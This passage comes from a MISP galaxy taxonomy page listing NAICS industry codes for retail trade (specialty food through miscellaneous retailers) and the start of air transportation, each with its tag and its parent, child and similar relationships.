View relationships graph

44524 has relationships with:

- child-of: misp-galaxy:naics="4452" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="445240" with estimative-language:likelihood-probability="likely"

445240

Meat Retailers

The tag is: *misp-galaxy:naics="445240"*

View relationships graph

445240 has relationships with:

- child-of: misp-galaxy:naics="4452" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="44524" with estimative-language:likelihood-probability="likely"

44525

Fish and Seafood Retailers

The tag is: *misp-galaxy:naics="44525"*

View relationships graph

44525 has relationships with:

- child-of: misp-galaxy:naics="4452" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="445250" with estimative-language:likelihood-probability="likely"

445250

Fish and Seafood Retailers

The tag is: *misp-galaxy:naics="445250"*

View relationships graph

445250 has relationships with:

- child-of: misp-galaxy:naics="4452" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="44525" with estimative-language:likelihood-probability="likely"

44529

Other Specialty Food Retailers

The tag is: *misp-galaxy:naics="44529"*

View relationships graph

44529 has relationships with:

- child-of: misp-galaxy:naics="4452" with estimative-language:likelihood-probability="likely"

445291

Baked Goods Retailers

The tag is: *misp-galaxy:naics="445291"*

View relationships graph

445291 has relationships with:

- child-of: misp-galaxy:naics="4452" with estimative-language:likelihood-probability="likely"

445292

Confectionery and Nut Retailers

The tag is: *misp-galaxy:naics="445292"*

View relationships graph

445292 has relationships with:

- child-of: misp-galaxy:naics="4452" with estimative-language:likelihood-probability="likely"

445298

All Other Specialty Food Retailers

The tag is: *misp-galaxy:naics="445298"*

View relationships graph

445298 has relationships with:

- child-of: misp-galaxy:naics="4452" with estimative-language:likelihood-probability="likely"

4453

Beer, Wine, and Liquor Retailers

The tag is: *misp-galaxy:naics="4453"*

View relationships graph

4453 has relationships with:

- child-of: misp-galaxy:naics="445" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="44532" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="445320" with estimative-language:likelihood-probability="likely"

44532

Beer, Wine, and Liquor Retailers

The tag is: *misp-galaxy:naics="44532"*

View relationships graph

44532 has relationships with:

- child-of: misp-galaxy:naics="4453" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:naics="445320" with estimative-language:likelihood-probability="likely"

445320

Beer, Wine, and Liquor Retailers

The tag is: *misp-galaxy:naics="445320"*

View relationships graph

445320 has relationships with:

- child-of: misp-galaxy:naics="4453" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="44532" with estimative-language:likelihood-probability="likely"

449

Furniture, Home Furnishings, Electronics, and Appliance Retailers

The tag is: *misp-galaxy:naics="449"*

View relationships graph

449 has relationships with:

- parent-of: misp-galaxy:naics="4491" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4492" with estimative-language:likelihood-probability="likely"

4491

Furniture and Home Furnishings Retailers

The tag is: *misp-galaxy:naics="4491"*

View relationships graph

4491 has relationships with:

- child-of: misp-galaxy:naics="449" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="44911" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="449110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="44912" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="449121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="449122" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="449129" with estimative-language:likelihood-probability="likely"

44911

Furniture Retailers

The tag is: *misp-galaxy:naics="44911"*

View relationships graph

44911 has relationships with:

- child-of: misp-galaxy:naics="4491" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="449110" with estimative-language:likelihood-probability="likely"

449110

Furniture Retailers

The tag is: *misp-galaxy:naics="449110"*

View relationships graph

449110 has relationships with:

- child-of: misp-galaxy:naics="4491" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="44911" with estimative-language:likelihood-probability="likely"

44912

Home Furnishings Retailers

The tag is: *misp-galaxy:naics="44912"*

View relationships graph

44912 has relationships with:

- child-of: misp-galaxy:naics="4491" with estimative-language:likelihood-probability="likely"

449121

Floor Covering Retailers

The tag is: *misp-galaxy:naics="449121"*

View relationships graph

449121 has relationships with:

- child-of: misp-galaxy:naics="4491" with estimative-language:likelihood-probability="likely"

449122

Window Treatment Retailers

The tag is: *misp-galaxy:naics="449122"*

View relationships graph

449122 has relationships with:

- child-of: misp-galaxy:naics="4491" with estimative-language:likelihood-probability="likely"

449129

All Other Home Furnishings Retailers

The tag is: *misp-galaxy:naics="449129"*

View relationships graph

449129 has relationships with:

- child-of: misp-galaxy:naics="4491" with estimative-language:likelihood-probability="likely"

4492

Electronics and Appliance Retailers

The tag is: *misp-galaxy:naics="4492"*

View relationships graph

4492 has relationships with:

- child-of: misp-galaxy:naics="449" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="44921" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="449210" with estimative-language:likelihood-probability="likely"

44921

Electronics and Appliance Retailers

The tag is: *misp-galaxy:naics="44921"*

View relationships graph

44921 has relationships with:

- child-of: misp-galaxy:naics="4492" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:naics="449210" with estimative-language:likelihood-probability="likely"

449210

Electronics and Appliance Retailers

The tag is: *misp-galaxy:naics="449210"*

View relationships graph

449210 has relationships with:

- child-of: misp-galaxy:naics="4492" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="44921" with estimative-language:likelihood-probability="likely"

455

General Merchandise Retailers

The tag is: *misp-galaxy:naics="455"*

View relationships graph

455 has relationships with:

- parent-of: misp-galaxy:naics="4551" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4552" with estimative-language:likelihood-probability="likely"

4551

Department Stores

The tag is: *misp-galaxy:naics="4551"*

View relationships graph

4551 has relationships with:

- child-of: misp-galaxy:naics="455" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="45511" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="455110" with estimative-language:likelihood-probability="likely"

45511

Department Stores

The tag is: *misp-galaxy:naics="45511"*

View relationships graph

45511 has relationships with:

- child-of: misp-galaxy:naics="4551" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="455110" with estimative-language:likelihood-probability="likely"

455110

Department Stores

The tag is: *misp-galaxy:naics="455110"*

View relationships graph

455110 has relationships with:

- child-of: misp-galaxy:naics="4551" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="45511" with estimative-language:likelihood-probability="likely"

4552

Warehouse Clubs, Supercenters, and Other General Merchandise Retailers

The tag is: *misp-galaxy:naics="4552"*

View relationships graph

4552 has relationships with:

- child-of: misp-galaxy:naics="455" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="45521" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="455211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="455219" with estimative-language:likelihood-probability="likely"

45521

Warehouse Clubs, Supercenters, and Other General Merchandise Retailers

The tag is: *misp-galaxy:naics="45521"*

View relationships graph

45521 has relationships with:

- child-of: misp-galaxy:naics="4552" with estimative-language:likelihood-probability="likely"

455211

Warehouse Clubs and Supercenters

The tag is: *misp-galaxy:naics="455211"*

View relationships graph

455211 has relationships with:

- child-of: misp-galaxy:naics="4552" with estimative-language:likelihood-probability="likely"

455219

All Other General Merchandise Retailers

The tag is: *misp-galaxy:naics="455219"*

View relationships graph

455219 has relationships with:

- child-of: misp-galaxy:naics="4552" with estimative-language:likelihood-probability="likely"

456

Health and Personal Care Retailers

The tag is: *misp-galaxy:naics="456"*

View relationships graph

456 has relationships with:

- parent-of: misp-galaxy:naics="4561" with estimative-language:likelihood-probability="likely"

4561

Health and Personal Care Retailers

The tag is: *misp-galaxy:naics="4561"*

View relationships graph

4561 has relationships with:

- child-of: misp-galaxy:naics="456" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="45611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="456110" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="45612" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="456120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="45613" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="456130" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="45619" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="456191" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="456199" with estimative-language:likelihood-probability="likely"

45611

Pharmacies and Drug Retailers

The tag is: *misp-galaxy:naics="45611"*

View relationships graph

45611 has relationships with:

- child-of: misp-galaxy:naics="4561" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="456110" with estimative-language:likelihood-probability="likely"

456110

Pharmacies and Drug Retailers

The tag is: *misp-galaxy:naics="456110"*

View relationships graph

456110 has relationships with:

- child-of: misp-galaxy:naics="4561" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="45611" with estimative-language:likelihood-probability="likely"

45612

Cosmetics, Beauty Supplies, and Perfume Retailers

The tag is: *misp-galaxy:naics="45612"*

View relationships graph

45612 has relationships with:

- child-of: misp-galaxy:naics="4561" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="456120" with estimative-language:likelihood-probability="likely"

456120

Cosmetics, Beauty Supplies, and Perfume Retailers

The tag is: *misp-galaxy:naics="456120"*

View relationships graph

456120 has relationships with:

- child-of: misp-galaxy:naics="4561" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="45612" with estimative-language:likelihood-probability="likely"

45613

Optical Goods Retailers

The tag is: *misp-galaxy:naics="45613"*

View relationships graph

45613 has relationships with:

- child-of: misp-galaxy:naics="4561" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="456130" with estimative-language:likelihood-probability="likely"

456130

Optical Goods Retailers

The tag is: *misp-galaxy:naics="456130"*

View relationships graph

456130 has relationships with:

- child-of: misp-galaxy:naics="4561" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="45613" with estimative-language:likelihood-probability="likely"

45619

Other Health and Personal Care Retailers

The tag is: *misp-galaxy:naics="45619"*

View relationships graph

45619 has relationships with:

- child-of: misp-galaxy:naics="4561" with estimative-language:likelihood-probability="likely"

456191

Food (Health) Supplement Retailers

The tag is: *misp-galaxy:naics="456191"*

View relationships graph

456191 has relationships with:

- child-of: misp-galaxy:naics="4561" with estimative-language:likelihood-probability="likely"

456199

All Other Health and Personal Care Retailers

The tag is: *misp-galaxy:naics="456199"*

View relationships graph

456199 has relationships with:

- child-of: misp-galaxy:naics="4561" with estimative-language:likelihood-probability="likely"

457

Gasoline Stations and Fuel Dealers

The tag is: *misp-galaxy:naics="457"*

View relationships graph

457 has relationships with:

- parent-of: misp-galaxy:naics="4571" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4572" with estimative-language:likelihood-probability="likely"

4571

Gasoline Stations

The tag is: *misp-galaxy:naics="4571"*

View relationships graph

4571 has relationships with:

- child-of: misp-galaxy:naics="457" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="45711" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="457110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="45712" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="457120" with estimative-language:likelihood-probability="likely"

45711

Gasoline Stations with Convenience Stores

The tag is: *misp-galaxy:naics="45711"*

View relationships graph

45711 has relationships with:

- child-of: misp-galaxy:naics="4571" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="457110" with estimative-language:likelihood-probability="likely"

457110

Gasoline Stations with Convenience Stores

The tag is: *misp-galaxy:naics="457110"*

View relationships graph

457110 has relationships with:

- child-of: misp-galaxy:naics="4571" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="45711" with estimative-language:likelihood-probability="likely"

45712

Other Gasoline Stations

The tag is: *misp-galaxy:naics="45712"*

View relationships graph

45712 has relationships with:

- child-of: misp-galaxy:naics="4571" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="457120" with estimative-language:likelihood-probability="likely"

457120

Other Gasoline Stations

The tag is: *misp-galaxy:naics="457120"*

View relationships graph

457120 has relationships with:

- child-of: misp-galaxy:naics="4571" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="45712" with estimative-language:likelihood-probability="likely"

4572

Fuel Dealers

The tag is: *misp-galaxy:naics="4572"*

View relationships graph

4572 has relationships with:

- child-of: misp-galaxy:naics="457" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="45721" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="457210" with estimative-language:likelihood-probability="likely"

45721

Fuel Dealers

The tag is: *misp-galaxy:naics="45721"*

View relationships graph

45721 has relationships with:

- child-of: misp-galaxy:naics="4572" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="457210" with estimative-language:likelihood-probability="likely"

457210

Fuel Dealers

The tag is: *misp-galaxy:naics="457210"*

View relationships graph

457210 has relationships with:

- child-of: misp-galaxy:naics="4572" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="45721" with estimative-language:likelihood-probability="likely"

458

Clothing, Clothing Accessories, Shoe, and Jewelry Retailers

The tag is: *misp-galaxy:naics="458"*

View relationships graph

458 has relationships with:

- parent-of: misp-galaxy:naics="4581" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4582" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4583" with estimative-language:likelihood-probability="likely"

4581

Clothing and Clothing Accessories Retailers

The tag is: *misp-galaxy:naics="4581"*

View relationships graph

4581 has relationships with:

- child-of: misp-galaxy:naics="458" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="45811" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="458110" with estimative-language:likelihood-probability="likely"

45811

Clothing and Clothing Accessories Retailers

The tag is: *misp-galaxy:naics="45811"*

View relationships graph

45811 has relationships with:

- child-of: misp-galaxy:naics="4581" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="458110" with estimative-language:likelihood-probability="likely"

458110

Clothing and Clothing Accessories Retailers

The tag is: *misp-galaxy:naics="458110"*

View relationships graph

458110 has relationships with:

- child-of: misp-galaxy:naics="4581" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="45811" with estimative-language:likelihood-probability="likely"

4582

Shoe Retailers

The tag is: *misp-galaxy:naics="4582"*

View relationships graph

4582 has relationships with:

- child-of: misp-galaxy:naics="458" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="45821" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="458210" with estimative-language:likelihood-probability="likely"

45821

Shoe Retailers

The tag is: *misp-galaxy:naics="45821"*

View relationships graph

45821 has relationships with:

- child-of: misp-galaxy:naics="4582" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="458210" with estimative-language:likelihood-probability="likely"

458210

Shoe Retailers

The tag is: *misp-galaxy:naics="458210"*

View relationships graph

458210 has relationships with:

- child-of: misp-galaxy:naics="4582" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="45821" with estimative-language:likelihood-probability="likely"

4583

Jewelry, Luggage, and Leather Goods Retailers

The tag is: *misp-galaxy:naics="4583"*

View relationships graph

4583 has relationships with:

- child-of: misp-galaxy:naics="458" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="45831" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="458310" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="45832" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="458320" with estimative-language:likelihood-probability="likely"

45831

Jewelry Retailers

The tag is: *misp-galaxy:naics="45831"*

View relationships graph

45831 has relationships with:

- child-of: misp-galaxy:naics="4583" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="458310" with estimative-language:likelihood-probability="likely"

458310

Jewelry Retailers

The tag is: *misp-galaxy:naics="458310"*

View relationships graph

458310 has relationships with:

- child-of: misp-galaxy:naics="4583" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="45831" with estimative-language:likelihood-probability="likely"

45832

Luggage and Leather Goods Retailers

The tag is: *misp-galaxy:naics="45832"*

View relationships graph

45832 has relationships with:

- child-of: misp-galaxy:naics="4583" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="458320" with estimative-language:likelihood-probability="likely"

458320

Luggage and Leather Goods Retailers

The tag is: *misp-galaxy:naics="458320"*

View relationships graph

458320 has relationships with:

- child-of: misp-galaxy:naics="4583" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="45832" with estimative-language:likelihood-probability="likely"

459

Sporting Goods, Hobby, Musical Instrument, Book, and Miscellaneous Retailers

The tag is: *misp-galaxy:naics="459"*

View relationships graph

459 has relationships with:

- parent-of: misp-galaxy:naics="4591" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4592" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4593" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4594" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4595" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4599" with estimative-language:likelihood-probability="likely"

4591

Sporting Goods, Hobby, and Musical Instrument Retailers

The tag is: *misp-galaxy:naics="4591"*

View relationships graph

4591 has relationships with:

- child-of: misp-galaxy:naics="459" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="45911" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="459110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="45912" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="459120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="45913" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="459130" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="45914" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="459140" with estimative-language:likelihood-probability="likely"

45911

Sporting Goods Retailers

The tag is: *misp-galaxy:naics="45911"*

View relationships graph

45911 has relationships with:

- child-of: misp-galaxy:naics="4591" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="459110" with estimative-language:likelihood-probability="likely"

459110

Sporting Goods Retailers

The tag is: *misp-galaxy:naics="459110"*

View relationships graph

459110 has relationships with:

- child-of: misp-galaxy:naics="4591" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="45911" with estimative-language:likelihood-probability="likely"

45912

Hobby, Toy, and Game Retailers

The tag is: *misp-galaxy:naics="45912"*

View relationships graph

45912 has relationships with:

- child-of: misp-galaxy:naics="4591" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="459120" with estimative-language:likelihood-probability="likely"

459120

Hobby, Toy, and Game Retailers

The tag is: *misp-galaxy:naics="459120"*

View relationships graph

459120 has relationships with:

- child-of: misp-galaxy:naics="4591" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="45912" with estimative-language:likelihood-probability="likely"

45913

Sewing, Needlework, and Piece Goods Retailers

The tag is: *misp-galaxy:naics="45913"*

View relationships graph

45913 has relationships with:

- child-of: misp-galaxy:naics="4591" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="459130" with estimative-language:likelihood-probability="likely"

459130

Sewing, Needlework, and Piece Goods Retailers

The tag is: *misp-galaxy:naics="459130"*

View relationships graph

459130 has relationships with:

- child-of: misp-galaxy:naics="4591" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="45913" with estimative-language:likelihood-probability="likely"

45914

Musical Instrument and Supplies Retailers

The tag is: *misp-galaxy:naics="45914"*

View relationships graph

45914 has relationships with:

- child-of: misp-galaxy:naics="4591" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="459140" with estimative-language:likelihood-probability="likely"

459140

Musical Instrument and Supplies Retailers

The tag is: *misp-galaxy:naics="459140"*

View relationships graph

459140 has relationships with:

- child-of: misp-galaxy:naics="4591" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="45914" with estimative-language:likelihood-probability="likely"

4592

Book Retailers and News Dealers

The tag is: *misp-galaxy:naics="4592"*

View relationships graph

4592 has relationships with:

- child-of: misp-galaxy:naics="459" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="45921" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="459210" with estimative-language:likelihood-probability="likely"

45921

Book Retailers and News Dealers

The tag is: *misp-galaxy:naics="45921"*

View relationships graph

45921 has relationships with:

- child-of: misp-galaxy:naics="4592" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="459210" with estimative-language:likelihood-probability="likely"

459210

Book Retailers and News Dealers

The tag is: *misp-galaxy:naics="459210"*

View relationships graph

459210 has relationships with:

- child-of: misp-galaxy:naics="4592" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="45921" with estimative-language:likelihood-probability="likely"

4593

Florists

The tag is: *misp-galaxy:naics="4593"*

View relationships graph

4593 has relationships with:

- child-of: misp-galaxy:naics="459" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="45931" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="459310" with estimative-language:likelihood-probability="likely"

45931

Florists

The tag is: *misp-galaxy:naics="45931"*

View relationships graph

45931 has relationships with:

- child-of: misp-galaxy:naics="4593" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="459310" with estimative-language:likelihood-probability="likely"

459310

Florists

The tag is: *misp-galaxy:naics="459310"*

View relationships graph

459310 has relationships with:

- child-of: misp-galaxy:naics="4593" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="45931" with estimative-language:likelihood-probability="likely"

4594

Office Supplies, Stationery, and Gift Retailers

The tag is: *misp-galaxy:naics="4594"*

View relationships graph

4594 has relationships with:

- child-of: misp-galaxy:naics="459" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="45941" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="459410" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="45942" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="459420" with estimative-language:likelihood-probability="likely"

45941

Office Supplies and Stationery Retailers

The tag is: *misp-galaxy:naics="45941"*

View relationships graph

45941 has relationships with:

- child-of: misp-galaxy:naics="4594" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="459410" with estimative-language:likelihood-probability="likely"

459410

Office Supplies and Stationery Retailers

The tag is: *misp-galaxy:naics="459410"*

View relationships graph

459410 has relationships with:

- child-of: misp-galaxy:naics="4594" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="45941" with estimative-language:likelihood-probability="likely"

45942

Gift, Novelty, and Souvenir Retailers

The tag is: *misp-galaxy:naics="45942"*

View relationships graph

45942 has relationships with:

- child-of: misp-galaxy:naics="4594" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="459420" with estimative-language:likelihood-probability="likely"

459420

Gift, Novelty, and Souvenir Retailers

The tag is: *misp-galaxy:naics="459420"*

View relationships graph

459420 has relationships with:

- child-of: misp-galaxy:naics="4594" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="45942" with estimative-language:likelihood-probability="likely"

4595

Used Merchandise Retailers

The tag is: *misp-galaxy:naics="4595"*

View relationships graph

4595 has relationships with:

- child-of: misp-galaxy:naics="459" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="45951" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="459510" with estimative-language:likelihood-probability="likely"

45951

Used Merchandise Retailers

The tag is: *misp-galaxy:naics="45951"*

View relationships graph

45951 has relationships with:

- child-of: misp-galaxy:naics="4595" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="459510" with estimative-language:likelihood-probability="likely"

459510

Used Merchandise Retailers

The tag is: *misp-galaxy:naics="459510"*

View relationships graph

459510 has relationships with:

- child-of: misp-galaxy:naics="4595" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="45951" with estimative-language:likelihood-probability="likely"

4599

Other Miscellaneous Retailers

The tag is: *misp-galaxy:naics="4599"*

View relationships graph

4599 has relationships with:

- child-of: misp-galaxy:naics="459" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="45991" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="459910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="45992" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="459920" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="45993" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="459930" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="45999" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="459991" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="459999" with estimative-language:likelihood-probability="likely"

45991

Pet and Pet Supplies Retailers

The tag is: *misp-galaxy:naics="45991"*

View relationships graph

45991 has relationships with:

- child-of: misp-galaxy:naics="4599" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="459910" with estimative-language:likelihood-probability="likely"

459910

Pet and Pet Supplies Retailers

The tag is: *misp-galaxy:naics="459910"*

View relationships graph

459910 has relationships with:

- child-of: misp-galaxy:naics="4599" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="45991" with estimative-language:likelihood-probability="likely"

45992

Art Dealers

The tag is: *misp-galaxy:naics="45992"*

View relationships graph

45992 has relationships with:

- child-of: misp-galaxy:naics="4599" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="459920" with estimative-language:likelihood-probability="likely"

459920

Art Dealers

The tag is: *misp-galaxy:naics="459920"*

View relationships graph

459920 has relationships with:

- child-of: misp-galaxy:naics="4599" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="45992" with estimative-language:likelihood-probability="likely"

45993

Manufactured (Mobile) Home Dealers

The tag is: *misp-galaxy:naics="45993"*

View relationships graph

45993 has relationships with:

- child-of: misp-galaxy:naics="4599" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="459930" with estimative-language:likelihood-probability="likely"

459930

Manufactured (Mobile) Home Dealers

The tag is: *misp-galaxy:naics="459930"*

View relationships graph

459930 has relationships with:

- child-of: misp-galaxy:naics="4599" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="45993" with estimative-language:likelihood-probability="likely"

45999

All Other Miscellaneous Retailers

The tag is: *misp-galaxy:naics="45999"*

View relationships graph

45999 has relationships with:

- child-of: misp-galaxy:naics="4599" with estimative-language:likelihood-probability="likely"

459991

Tobacco, Electronic Cigarette, and Other Smoking Supplies Retailers

The tag is: *misp-galaxy:naics="459991"*

View relationships graph

459991 has relationships with:

- child-of: misp-galaxy:naics="4599" with estimative-language:likelihood-probability="likely"

459999

All Other Miscellaneous Retailers

The tag is: *misp-galaxy:naics="459999"*

View relationships graph

459999 has relationships with:

- child-of: misp-galaxy:naics="4599" with estimative-language:likelihood-probability="likely"

48-49

Transportation and Warehousing

The tag is: *misp-galaxy:naics="48-49"*

481

Air Transportation

The tag is: *misp-galaxy:naics="481"*

View relationships graph

481 has relationships with:

- parent-of: misp-galaxy:naics="4811" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4812" with estimative-language:likelihood-probability="likely"

4811

Scheduled Air Transportation

The tag is: *misp-galaxy:naics="4811"*

View relationships graph

4811 has relationships with:

- child-of: misp-galaxy:naics="481" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="481111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="481112" with estimative-language:likelihood-probability="likely"

48111

Scheduled Air Transportation

The tag is: *misp-galaxy:naics="48111"*

View relationships graph

48111 has relationships with:

- child-of: misp-galaxy:naics="4811" with estimative-language:likelihood-probability="likely"

481111

Scheduled Passenger Air Transportation

The tag is: *misp-galaxy:naics="481111"*

View relationships graph

481111 has relationships with:

- child-of: misp-galaxy:naics="4811" with estimative-language:likelihood-probability="likely"

481112

Scheduled Freight Air Transportation

The tag is: *misp-galaxy:naics="481112"*

View relationships graph

481112 has relationships with:

- child-of: misp-galaxy:naics="4811" with estimative-language:likelihood-probability="likely"

4812

Nonscheduled Air Transportation

The tag is: *misp-galaxy:naics="4812"*

View relationships graph

4812 has relationships with:

- child-of: misp-galaxy:naics="481" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="481211" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="481212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="481219" with estimative-language:likelihood-probability="likely"

48121

Nonscheduled Air Transportation

The tag is: *misp-galaxy:naics="48121"*

View relationships graph

